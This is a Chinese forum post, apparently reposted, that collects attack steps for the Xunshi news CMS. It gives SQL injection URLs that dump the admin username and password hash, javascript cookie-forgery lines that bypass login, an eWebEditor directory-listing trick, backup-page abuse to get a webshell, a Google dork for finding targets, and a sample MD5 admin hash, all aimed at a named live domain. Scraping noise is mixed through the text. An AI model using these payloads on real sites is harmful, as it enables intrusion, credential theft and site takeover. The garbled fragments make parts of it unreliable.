讯时漏洞总结

admin

by:血封忆尘
: @( {" _- V0 F4 S3 [0 {8 G' R
' |9 V7 X0 p4 t8 ~2 i0 a  e在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了（随着版本的更新）

以下本文总结来自黑防去年第9期杂志上的内容...
3 q% U( k/ n% K/ T1 P
. `: d1 H1 Z1 Q+ ?! B' h9 D$ ]先说一个注入吧:http://www.political-security.com/news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%

, E/ m! f3 G6 M6 Q- z' O26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2

记得千万别多了空格，我测试站的时候就发现多了空格注入不出结果的情况
这里一个注入
4 S; U5 s; i/ U
效果如图:
( ^& l4 ~4 I0 T: K; K
6 Q4 `' v2 V3 D

- q) W) A+ r# D' q2 O这样就很轻松可以得到管理用户名与密码..这里md5可以拿去破解.但是现在安全意识的提高.
& C. s8 u2 I' F' [. y
0 v; }: l5 r& k7 E, h- y$ [密码复杂了..很难破出来..那么我们可以通过后来cookies欺骗进去

1 ]+ }* ?/ U2 C- U4 t- ljavascript:alert(document.cookie="adminuser="+escape("用户名"));javascript:alert(document.cookie="adminpass="+escape("md5值")); javascript:alert(document.cookie="admindj="+escape("1"));
* Q7 E+ _# M* Q" o+ X
那么这里就会出现一种情况了..如果后台找不到咋办呢??请看下一漏洞让你更轻松达到你想要的效果:

7 C# q1 l1 }; h) E& W因为讯时结合了ewebeditor程序..而它没有在处理的时候忽视了ewebeditor有个可以列目录的漏洞
/ k* ^7 p4 r0 D% z
6 X" D4 a/ D. a1 c# g6 |& g它是做了验证的..但讯时最没做好的地方就是验证..我们可以通过cookies欺骗来绕过验证.从而可以

% I3 J) Z; x6 x9 d7 G2 }  J访问这页面来列目录..步骤如下:

# K6 I9 X5 _; Y9 ljavascript:alert(document.cookie="admindj=1")

$ }2 K  R4 E* u+ _. nhttp://www.political-security.co ... asp?id=46&dir=../..
( \4 k( D* C) f; E! m) Y+ d- H
9 |! c3 f& K% ?8 |- E" E效果如图:

" l; x* \& o1 ?: G% s; a& O3 {

这样全站目录都能瞧了..找到后台目录..进去..

+ B/ V, ?4 u* |+ z那么进了后台怎么拿shell？？上传--备份就ok了..
- z8 O. k1 E) K/ m
4 ]/ Z6 j, t9 |& j那么有时候有些管理在做后台功能的时候把备份页面去掉了...而他本机里备份页面还是存在的..
* X( W  U* w1 o
. Z( P; u6 {" l: \2 A这个我也碰到过一次..你都可以通过列目录来实现..

9 k) R2 V  k( W/ D) ]javascript:alert(document.cookie="admindj=1")

http://www.political-security.co ... p?action=BackupData

备份ok..

7 ]+ e: T9 X& z" A' U3 _那么以上两个漏洞都被管理封住了...咋办??上面两个是比较常见的..那么下面一个注入漏洞呢?
3 p( C+ U9 v% x. ]8 k) X8 G$ m+ T3 ?+ D
3 C" l5 M$ P7 a7 g在admin目录下有个admin_lm_edit.asp页面..里面的id没有过滤 那么我们就可以先cookies下

. k' `) E- f2 O" W9 ^, u然后访问此页面进行注入..步骤如下:

' G$ M6 T2 q. H, `' l% Gjavascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1")
) h# _6 D7 Q( P; l. h
然后请求admin/admin_chk.asp页面

* l3 F( X  K; i+ N3 ~9 y  m9 C输入注入语句admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%

26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin

效果如图所示:


) V- r* o2 j4 f
讯时漏洞2
: j1 G# S9 C- H# ~! f& pgoogle关键字：inurl:news_more.asp?lm2= （关键字很多的自己定义吧）

1、/admin/admin_news_pl_view.asp?id=1
0 [- F0 I9 R- z; W* ]8 x5 x" j6 s; r//id任意 填入以下语句

5 ~) ~7 Q; |: c) G# W' F8 h2、有时1显示错误信息的时候继续往后退2，3，4，我退到11才找到了页面，郁闷！

6 O7 u; j7 s1 `7 k' n0 Y' A9 Q

3、|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='

# F$ y, T, M* H/ Q0 c" G; p

爆出管理员帐号和密码了



4、cookies进后台

; N* F4 i- T' \# w! hjavascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));

$ `9 y' [+ H" A8 T3 s
8 p3 r0 k' j& Q$ V
" E/ o5 \4 D# M1 _0 j" ^5、后台用了cookie验证，直接访问http://www.political-security.com/admin/admin_index.asp就OK了！


4 \4 V1 V! b1 R* d! S
% ]$ R7 K1 b! f" o7 q/ J0 f6、后台有上传和备份取SHELL不难。
+ O* ?( C& |+ n, M
# ~& O- T! z, \. Y$ }7、讯时还有个列目录漏洞：http://www.political-security.co ... asp?id=46&dir=../..
5 R3 }" C' d" Z( ^1 `1 l$ ]5 t
逍遥复仇：我搞了一个讯时cms4.1版本的没有数据库备份不知道怎么搞SHELL，有的说虽然后台显示但备份页面是存在的，登录后台后访问 http://www.political-security.com/admin/admin_db_backup.asp?action=BackupData，我这个没有，郁闷着呢，谁还有其他办法提供一下，谢谢！
( v. H% }) v: W0 ]
6 X; n( w8 P  }( \* C
! W1 V! U) d2 u5 Z) W3 _
# }: O8 ^% h' `! c7 f9 b/ m0 i